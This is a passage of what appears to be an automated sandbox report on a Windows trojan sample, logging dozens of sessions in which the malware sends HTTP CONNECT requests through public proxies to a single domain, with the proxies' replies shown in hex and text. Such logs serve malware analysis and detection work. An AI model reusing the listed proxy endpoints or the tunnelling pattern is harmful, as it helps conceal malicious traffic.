Feb 23, 2024 14:28:27.811769962 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Fri, 23 Feb 2024 13:28:27 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
823	192.168.2.8	51807	27.76.194.13	1080	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:27.757913113 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
824	192.168.2.8	52200	80.65.28.57	30962	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:27.765387058 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:30.781286955 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:33.786282063 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:35.270133018 CET	19	IN	HTTP/1.1 200 OK

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
825	192.168.2.8	52695	104.19.120.84	80	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:27.768244028 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:27.855637074 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Fri, 23 Feb 2024 13:28:27 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
826	192.168.2.8	52692	137.184.22.92	8000	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:27.768254042 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:28.194914103 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
827	192.168.2.8	52693	172.67.105.234	80	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:27.768558025 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:27.856230021 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Fri, 23 Feb 2024 13:28:27 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
828	192.168.2.8	52718	104.25.244.70	80	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:27.772918940 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:27.860296965 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Fri, 23 Feb 2024 13:28:27 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
829	192.168.2.8	52722	203.30.191.218	80	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:27.777076006 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:27.865044117 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Fri, 23 Feb 2024 13:28:27 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
830	192.168.2.8	52710	67.43.236.20	18841	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:27.777751923 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
831	192.168.2.8	52664	178.32.141.50	18472	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:27.794258118 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:28.382437944 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:28.991883993 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:30.195017099 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:32.382616043 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:34.491970062 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:36.694982052 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
832	192.168.2.8	52333	54.39.50.68	24535	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:27.810969114 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
833	192.168.2.8	52500	124.163.236.54	7302	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:27.863775015 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:28.882560015 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:29.320327997 CET	90	IN	HTTP/1.1 200 OK Content-Type: application/json Connection: close Content-Length: 55

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
834	192.168.2.8	52033	103.231.78.36	80	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:27.864484072 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
835	192.168.2.8	52650	185.101.16.52	80	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:27.864839077 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
836	192.168.2.8	52669	95.67.79.254	8080	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:27.864851952 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
837	192.168.2.8	52790	172.65.165.93	30000	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:27.889664888 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
838	192.168.2.8	52602	115.74.159.39	1080	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:27.913798094 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
839	192.168.2.8	52616	20.219.183.188	3129	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:27.924355030 CET	113	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com
Feb 23, 2024 14:28:28.209028006 CET	39	IN	HTTP/1.1 200 Connection established

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
840	192.168.2.8	52741	170.106.193.128	30001	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:27.924539089 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
841	192.168.2.8	52715	5.252.23.249	3128	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:27.946825027 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:29.724330902 CET	39	IN	HTTP/1.0 200 Connection established

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
842	192.168.2.8	52624	20.204.214.23	3129	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:27.951461077 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:28.236555099 CET	39	IN	HTTP/1.1 200 Connection established

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
843	192.168.2.8	52668	65.20.216.249	8080	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:27.952205896 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
844	192.168.2.8	51494	157.25.92.74	3128	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:27.952488899 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:28.137017012 CET	1286	IN	HTTP/1.1 403 Forbidden Server: squid/3.5.28 Mime-Version: 1.0 Date: Fri, 23 Feb 2024 13:28:28 GMT Content-Type: text/html;charset=utf-8 Content-Length: 1002 X-Squid-Error: ERR_ACCESS_DENIED 0 Content-Language: en X-Cache: MISS from ah_test Via: 1.1 ah_test (squid/3.5.28) Connection: close Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 74 79 70 65 3d 22 63 6f 70 79 72 69 67 68 74 22 20 63 6f 6e 74 65 6e 74 3d 22 43 6f 70 79 72 69 67 68 74 20 28 43 29 20 31 39 39 36 2d 32 30 31 38 20 54 68 65 20 41 65 72 6f 68 69 76 65 22 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 3e 0a 3c 74 69 74 6c 65 3e 45 52 52 4f 52 3a 20 57 65 62 20 50 61 67 65 20 42 6c 6f 63 6b 65 64 3c 2f 74 69 74 6c 65 3e 0a 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 3c 21 2d 2d 0a 20 0a 0a 62 6f 64 79 0a 3a 6c 61 6e 67 28 66 61 29 20 7b 20 64 69 72 65 63 74 69 6f 6e 3a 20 72 74 6c 3b 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 31 30 30 25 3b 20 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 54 61 68 6f 6d 61 2c 20 52 6f 79 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 20 66 6c 6f 61 74 3a 20 72 69 67 68 74 3b 20 7d 0a 3a 6c 61 6e 67 28 68 65 29 20 7b 20 64 69 72 65 63 74 69 6f 6e 3a 20 72 74 6c 3b 20 7d 0a 20 2d 2d 3e 3c 2f 73 74 79 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 20 69 64 3d 22 45 52 52 5f 41 43 43 45 53 53 5f 44 45 4e 49 45 44 22 3e 0a 3c 64 69 76 20 69 64 3d 22 74 69 74 6c 65 73 22 3e 0a 3c 68 31 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 20 23 35 62 38 63 62 64 3b 22 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 63 61 6e 6e 6f 74 20 62 65 20 72 65 74 72 69 65 76 65 64 3c 2f 68 31 3e 0a 3c 2f 64 69 76 3e 0a 0a 3c 64 69 76 20 69 64 3d 22 63 6f 6e 74 65 6e 74 22 3e 0a 3c 70 3e 41 63 63 65 73 73 20 74 6f 20 74 68 65 20 77 65 62 20 70 61 67 65 20 68 61 73 20 62 65 65 6e 20 62 6c 6f 63 6b 65 64 20 69 6e 20 61 63 63 6f 72 64 61 6e 63 65 20 77 69 74 68 20 74 68 65 20 6e 65 74 77 6f 72 6b 20 70 6f 6c 69 63 79 2e 20 49 66 20 79 6f 75 20 62 65 6c 69 65 76 65 20 74 68 69 73 20 69 73 20 61 6e 20 65 72 72 6f 72 2c 20 70 6c 65 61 73 65 20 63 6f 6e 74 61 63 74 20 79 6f 75 20 73 79 73 74 65 6d 20 61 64 6d 69 6e 69 73 74 72 61 74 6f 72 2e 3c 2f 70 3e 0a 3c 70 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 20 23 37 31 39 32 62 34 3b 22 3e 55 52 4c 3a 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 68 65 79 67 69 72 6c 69 73 68 65 65 76 65 72 79 74 68 69 6e 67 79 6f 75 77 61 6e 74 65 64 69 6e 61 6d 61 6e 2e 63 6f 6d 2f 2a 22 3e 68 74 74 70 73 3a 2f 2f 68 65 79 67 69 72 6c 69 73 68 65 65 76 65 72 79 74 68 69 6e 67 79 6f 75 77 61 6e 74 65 64 69 6e 61 6d 61 6e 2e 63 6f 6d 2f 2a 3c 2f 61 3e 3c 2f 70 3e 0a 3c 70 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 20 23 37 31 39 32 62 34 3b 22 3e 43 61 74 65 67 6f 72 79 3a 20 3c 2f 70 3e 0a 3c 62 72 3e 0a 3c 2f 64 69 76 3e 0a 0a 3c 64 69 76 20 69 64 3d 22 66 6f 6f 74 65 72 22 3e 0a 3c 70 20 73 74 79 6c 65 3d 22 66 6f 6e 74 2d 73 69 7a 65 3a 20 31 32 70 78 3b 22 3e 47 65 6e 65 72 61 74 65 64 20 46 72 69 2c 20 32 33 20 46 65 62 20 32 30 32 34 20 31 33 3a 32 38 3a 32 38 20 47 4d 54 3c 2f 70 3e 0a 3c 2f 64 Data Ascii: <html><head><meta type="copyright" content="Copyright (C) 1996-2018 The Aerohive"><meta http-equiv="Content-Type" content="text/html; charset=utf-8"><title>ERROR: Web Page Blocked</title><style type="text/css">... body:lang(fa) { direction: rtl; font-size: 100%; font-family: Tahoma, Roya, sans-serif; float: right; }:lang(he) { direction: rtl; } --></style></head><body id="ERR_ACCESS_DENIED"><div id="titles"><h1 style="color: #5b8cbd;">The requested URL cannot be retrieved</h1></div><div id="content"><p>Access to the web page has been blocked in accordance with the network policy. If you believe this is an error, please contact you system administrator.</p><p style="color: #7192b4;">URL: <a href="https://heygirlisheeverythingyouwantedinaman.com/">https://heygirlisheeverythingyouwantedinaman.com/</a></p><p style="color: #7192b4;">Category: </p><br></div><div id="footer"><p style="font-size: 12px;">Generated Fri, 23 Feb 2024 13:28:28 GMT</p></d

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
845	192.168.2.8	52677	188.124.230.43	17662	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:27.959790945 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
846	192.168.2.8	52230	173.212.237.43	57118	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:27.981261969 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:30.991775990 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:34.085709095 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
847	192.168.2.8	52747	77.91.74.77	80	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:27.981513977 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:28.189032078 CET	154	IN	HTTP/1.1 301 Moved Permanently Location: https://heygirlisheeverythingyouwantedinaman.com:443 Date: Fri, 23 Feb 2024 13:28:28 GMT Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
848	192.168.2.8	52748	109.107.181.245	32855	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:27.982651949 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
849	192.168.2.8	52788	146.59.2.185	80	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:27.985050917 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
850	192.168.2.8	52701	103.146.137.9	1081	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:27.985155106 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
851	192.168.2.8	52618	210.211.113.36	80	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:27.985526085 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
852	192.168.2.8	52694	5.44.42.115	58386	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:28.001027107 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
853	192.168.2.8	52724	220.248.70.237	9002	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:28.005517960 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:28.694963932 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
